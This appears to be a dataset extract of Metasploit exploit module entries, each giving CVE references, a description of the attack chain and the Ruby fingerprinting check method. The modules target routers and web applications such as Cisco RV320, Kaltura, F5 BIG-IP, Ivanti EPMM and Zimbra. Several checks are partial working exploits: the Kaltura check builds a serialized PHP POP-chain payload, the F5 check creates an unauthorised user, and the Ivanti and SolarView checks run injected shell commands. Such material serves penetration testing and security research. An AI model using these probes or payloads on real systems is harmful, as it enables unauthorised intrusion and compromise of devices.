deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Cisco RV320 and RV325 Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/cisco_rv32x_rce.rb
Platform: linux
Disclosure date: 2018-09-09
References: CVE-2019-1653, CVE-2019-1652, EDB-46243, BID-106728, BID-106732, URL-https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export, URL-https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection
Targets: LINUX MIPS64

Description:
This exploit module combines an information disclosure (CVE-2019-1653)
          and a command injection vulnerability (CVE-2019-1652) together to gain
          unauthenticated remote code execution on Cisco RV320 and RV325 small business
          routers. Can be exploited via the WAN interface of the router. Either via HTTPS
          on port 443 or HTTP on port 8007 on some older firmware versions.

Check method (fingerprinting):
# Check if device is vulnerable by downloading the config
    res = send_request_cgi({ 'uri' => normalize_uri("cgi-bin", "config.exp") })

    unless res
      vprint_error('Connection failed.')
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.code == 200
      return CheckCode::Safe('The target is not vulnerable')
    end

    unless res.body =~ /PASSWD/
      return CheckCode::Detected('The target service was detected')
    end

    CheckCode::Vulnerable('The target is vulnerable')
  end
Metasploit Module: Apache Superset Signed Cookie RCE
Type: exploit
Path: modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb
Platform: python
Disclosure date: 2023-09-06
References: URL-https://github.com/Paradoxis/Flask-Unsign, URL-https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/, URL-https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/, URL-https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/, URL-https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py, EDB-51447, CVE-2023-27524, CVE-2023-37941, CVE-2023-39265

Description:
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
          These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
          of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
          Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
          set for that dashboard within Superset's database which will trigger the RCE.

          An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.

Check method (fingerprinting):
res = send_request_cgi!({
      'uri' => normalize_uri(target_uri.path, 'login/')
    })
    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
    return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'
    unless res.body =~ /&#34;version_string&#34;: &#34;([\d.]+)&#34;/
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")
    end

    version = Rex::Version.new(Regexp.last_match(1))
    if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')
      Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")
    else
      Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")
    end
  end
Metasploit Module: Crypttech CryptoLog Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb
Platform: python
Disclosure date: 2017-05-03
References: CVE-2025-34102, URL-https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/

Description:
This module exploits a SQL injection and command injection vulnerability in the PHP version of CryptoLog.
          An unauthenticated user can execute a terminal command under the context of the web user. These vulnerabilities
          are no longer present in the ASP.NET version CryptoLog, available since 2009.

          CryptoLog's login.php endpoint is responsible for the login process. One of the user supplied parameters is
          used by the application without input validation and parameter binding, which leads to SQL injection
          vulnerability. Successfully exploiting this vulnerability gives a valid session.

          CryptoLog's logshares_ajax.php endpoint is responsible for executing an operation system command. It's not
          possible to access this endpoint without having a valid session. One user parameter is used by the
          application while executing an operating system command, which causes a command injection issue.

          Combining these vulnerabilities gives the opportunity execute operation system commands under the context
          of the web user.

Check method (fingerprinting):
if bypass_login.nil?
      Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end
  end
Metasploit Module: Kaltura Remote PHP Code Execution
Type: exploit
Path: modules/exploits/linux/http/kaltura_unserialize_rce.rb
Platform: php
Disclosure date: 2016-03-15
References: CVE-2016-15044, EDB-39563

Description:
This module exploits an Object Injection vulnerability in Kaltura.
          By exploiting this vulnerability, unauthenticated users can execute
          arbitrary code under the context of the web server user.

          Kaltura has a module named keditorservices that takes user input
          and then uses it as an unserialized function parameter. The constructed
          object is based on the SektionEins Zend code execution POP chain PoC,
          with a minor modification to ensure Kaltura processes it and the
          Zend_Log function's __destruct() method is called. Kaltura versions
          prior to 11.1.0-2 are affected by this issue.

          This module was tested against Kaltura 11.1.0 installed on CentOS 6.8.

Check method (fingerprinting):
r = rand_text_alpha(15 + rand(4))
    cmd = "print_r(#{r}).die()"

    p = ""
    p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
    p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
    p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
    p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
    p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
    p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
    p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
      'vars_get' => {
        'kdata' => Rex::Text.encode_base64(p)
      }
    )

    if res && res.body.include?(r)
      Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: F5 BIG-IP TMUI AJP Smuggling RCE
Type: exploit
Path: modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb
Platform: unix
Disclosure date: 2023-10-26
References: CVE-2023-46747, URL-https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/, URL-https://www.praetorian.com/blog/advisory-f5-big-ip-rce/, URL-https://my.f5.com/manage/s/article/K000137353, URL-https://github.com/projectdiscovery/nuclei-templates/pull/8496, URL-https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis
Targets: Command

Description:
This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,
          unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new
          account to execute a command payload. Both the exploit and check methods automatically delete any temporary
          accounts that are created.

Check method (fingerprinting):
res = create_user(role: 'Guest')
    return CheckCode::Unknown('No response received from target.') unless res
    return CheckCode::Safe('Failed to create the user.') unless res.code == 200

    changed = update_user_password
    return CheckCode::Safe('Failed to set the new user\'s password.') unless changed

    res = bigip_api_tm_get_user(username)
    return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'

    CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')
  end
Metasploit Module: Skyvern SSTI Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/skyvern_ssti_cve_2025_49619.rb
Platform: %w[linux
Disclosure date: 2025-06-07
References: EDB-52335, URL-https://cristibtz.blog/posts/CVE-2025-49619/, CVE-2025-49619
Targets: Linux Target

Description:
This module exploits SSTI vulnerability in Skyvern<=0.1.84. The module requires API key to deliver requests and upload malicious workflow.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/api/v1/workflows'),
      'headers' => { 'X-API-Key': datastore['API_KEY'] }
    })

    return Exploit::CheckCode::Safe('Target is probably not Skyvern') unless res&.code == 200

    res_json = res.get_json_document

    return Exploit::CheckCode::Unknown('Failed to get additional information - target is either not Skyvern or you used incorrect API key') unless res_json

    Exploit::CheckCode::Detected('Target is Skyvern')
  end
Metasploit Module: Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload
Type: exploit
Path: modules/exploits/linux/http/prison_management_rce.rb
Platform: php
Disclosure date: 2024-10-28
References: CVE-2024-48594, URL-https://www.sourcecodester.com/sql/17287/prison-management-system.html
Targets: PHP, Unix Command, Linux Dropper

Description:
This module exploits an unrestricted file upload vulnerability in Prison Management System 1.0.
          An authenticated user can upload a PHP file with arbitrary content by abusing the avatar upload
          functionality in the add-admin.php endpoint. The application fails to properly validate the
          uploaded file type, allowing an attacker to upload a PHP webshell.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php')
    )

    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Detected("Unexpected response code: #{res.code}") unless res.code == 200

    if res.body.include?('Prison Management System') || res.body.include?('txtusername')
      return CheckCode::Detected('Prison Management System login page detected')
    end

    CheckCode::Safe('Target does not appear to be Prison Management System')
  end
Metasploit Module: PandoraFMS Netflow Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/pandora_fms_auth_netflow_rce.rb
Platform: unix
Disclosure date: 2025-06-27
Authors: msutovsky-r7
References: CVE-2025-5306
Targets: Linux/Unix Command

Description:
This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => { 'login' => '1' },
      'keep_cookies' => true
    })
    return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200

    html = res.get_html_document

    return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html

    version = html.at('div[@id="ver_num"]')&.text

    @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)

    return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank?

    version = version[1..]&.sub('NG', '')

    vprint_warning('Token was not parsed, will try again') unless @csrf_token

    vprint_status("Version #{version} detected")

    return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10'))

    Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable")
  end
Metasploit Module: Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/http/ivanti_epmm_rce.rb
Platform: unix
Disclosure date: 2026-01-29
References: CVE-2026-1281, CVE-2026-1340, URL-https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US, URL-https://forums.ivanti.com/s/article/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US, URL-https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/

Description:
This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known
          as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device.

Check method (fingerprinting):
res_ver = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'mifs', 'user', 'login.jsp')
    )

    return CheckCode::Unknown('Connection to /mifs/user/login.jsp failed') unless res_ver

    return CheckCode::Unknown("Unexpected /mifs/user/login.jsp response code #{res_ver.code}") unless res_ver.code == 200

    ver_match = res_ver.body.match(/ui\.login\.css\?([\d.]+)"/)

    return CheckCode::Unknown('Failed to version match on ui.login.css') unless ver_match

    product_name = 'EPMM'

    # Ivanti acquired MobileIron and rebranded it to Endpoint Manager Mobile (EPMM) around version 11.4.
    if Rex::Version.new(ver_match[1]) < Rex::Version.new('11.4.0.0')
      product_name = 'MobileIron'
    end

    version_string = "Detected Ivanti #{product_name} version #{ver_match[1]}"

    sleep_time = rand(4..8)

    # We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_cmd("sleep #{sleep_time}")
    end

    return CheckCode::Unknown("#{version_string}. Connection failed") unless res

    if elapsed_time < sleep_time
      return CheckCode::Safe(version_string)
    end

    CheckCode::Vulnerable(version_string)
  end
Metasploit Module: Github Enterprise Default Session Secret And Deserialization Vulnerability
Type: exploit
Path: modules/exploits/linux/http/github_enterprise_secret.rb
Platform: linux
Disclosure date: 2017-03-15
References: CVE-2017-18365, EDB-41616, URL-http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html, URL-https://enterprise.github.com/releases/2.8.7/notes

Description:
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
          The first is that the session management uses a hard-coded secret value, which can be
          abused to sign a serialized malicious Ruby object. The second problem is due to the
          use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
          and results in arbitrary remote code execution.

          This exploit was tested against version 2.8.0.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => uri,
      'vars_get' => {
        'redirect_to' => '/'
      }
    })

    unless res
      vprint_error('Connection timed out.')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    unless res.get_cookies.match(/^_gh_manage/)
      vprint_error('No _gh_manage value in cookie found')
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    cookies = res.get_cookies
    vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
    gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
    data = gh_manage_value.split('--').first
    hmac = gh_manage_value.split('--').last.split(';', 2).first
    vprint_status("Data: #{data.gsub(/\n/, '')}")
    vprint_status("Extracted HMAC: #{hmac}")
    expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), secret, data)
    vprint_status("Expected HMAC: #{expected_hmac}")

    if expected_hmac == hmac
      vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: VMware Workspace ONE Access VMSA-2022-0011 exploit chain
Type: exploit
Path: modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb
Platform: unix
Disclosure date: 2022-04-06
References: CVE-2022-22956, CVE-2022-22957, URL-https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution, URL-https://github.com/sourceincite/hekate/, URL-https://www.vmware.com/security/advisories/VMSA-2022-0011.html
Targets: Unix Command, Linux Dropper

Description:
This module combines two vulnerabilities in order achieve remote code execution in the context of the
          `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in
          OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the
          authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC
          injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker
          to deserialize arbitrary Java objects which can allow remote code execution.

Check method (fingerprinting):
@token = get_authentication_token
    Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956')
  rescue InvalidRequest, InvalidResponse => e
    return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
  end

  # Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956).
  #
  # Return the authentication token
Metasploit Module: Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF
Type: exploit
Path: modules/exploits/linux/http/zimbra_xxe_rce.rb
Platform: linux
Disclosure date: 2019-03-13
References: CVE-2019-9670, CVE-2019-9621, URL-https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

Description:
This module exploits an XML external entity vulnerability and a
          server side request forgery to get unauthenticated code execution
          on Zimbra Collaboration Suite. The XML external entity vulnerability
          in the Autodiscover Servlet is used to read a Zimbra configuration
          file that contains an LDAP password for the 'zimbra' account. The
          zimbra credentials are then used to get a user authentication cookie
          with an AuthRequest message. Using the user cookie, a server side request
          forgery in the Proxy Servlet is used to proxy an AuthRequest with
          the 'zimbra' credentials to the admin port to retrieve an admin
          cookie. After gaining an admin cookie the Client Upload servlet is
          used to upload a JSP webshell that can be triggered from the web
          server to get command execution on the host. The issues reportedly
          affect Zimbra Collaboration Suite v8.5 to v8.7.11.

          This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
          UBUNTU16_64 FOSS edition.

Check method (fingerprinting):
begin
      res = xxe_req(soap_discover(true))
    rescue Msf::Exploit::Failed
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.body.include?('zimbra')
      return CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: SolarView Compact unauthenticated remote command execution vulnerability.
Type: exploit
Path: modules/exploits/linux/http/solarview_unauth_rce_cve_2023_23333.rb
Platform: php
Disclosure date: 2023-05-15
References: CVE-2023-23333, URL-https://attackerkb.com/topics/kE3lzTZGV2/cve-2023-23333
Targets: PHP, Unix Command, Linux Dropper

Description:
CONTEC's SolarView Series enables you to monitor and visualize solar power and is only available in Japan.
          This module exploits a command injection vulnerability on the SolarView Compact `v6.00` web application
          via vulnerable endpoint `downloader.php`.
          After exploitation, an attacker will have full access with the same user privileges under
          which the webserver is running (typically as user `contec`).

Check method (fingerprinting):
# Checking if the target is vulnerable by echoing a randomised marker that will return the marker in the response.
    # next we will try to read the version file stored in /opt/svc/version
    print_status("Checking if #{peer} can be exploited.")
    marker = Rex::Text.rand_text_alphanumeric(8..16)
    res = execute_command("echo #{marker};cat /opt/svc/version")
    if res && res.code == 200 && res.body.include?(marker)
      CheckCode::Vulnerable(res.body.match(/SolarView Compact ver\.\d\.\d\d/).to_s)
    else
      CheckCode::Safe('No valid response received from the target.')
    end
  end
Metasploit Module: Netgear DGN2200 dnslookup.cgi Command Injection
Type: exploit
Path: modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb
Platform: unix
Disclosure date: 2017-02-25
References: EDB-41459, CVE-2017-6334

Description:
This module exploits a command injection vulnerablity in NETGEAR
          DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
          with valid login details.

Check method (fingerprinting):
res = send_request_cgi({ 'uri' => '/' })
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
    # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\"NETGEAR "
      marker_two = "\""
      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
      return CheckCode::Unknown('Could not determine NETGEAR model') if model.nil?

      vprint_status("Router is a NETGEAR router (#{model})")
      model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
      if model_numbers.include?(model)
        print_good("Router may be vulnerable (NETGEAR #{model})")
        return CheckCode::Detected("Target detected: model #{model}")
      else
        return CheckCode::Safe("Model #{model} is not vulnerable")
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe('NETGEAR router not detected')
    end
  end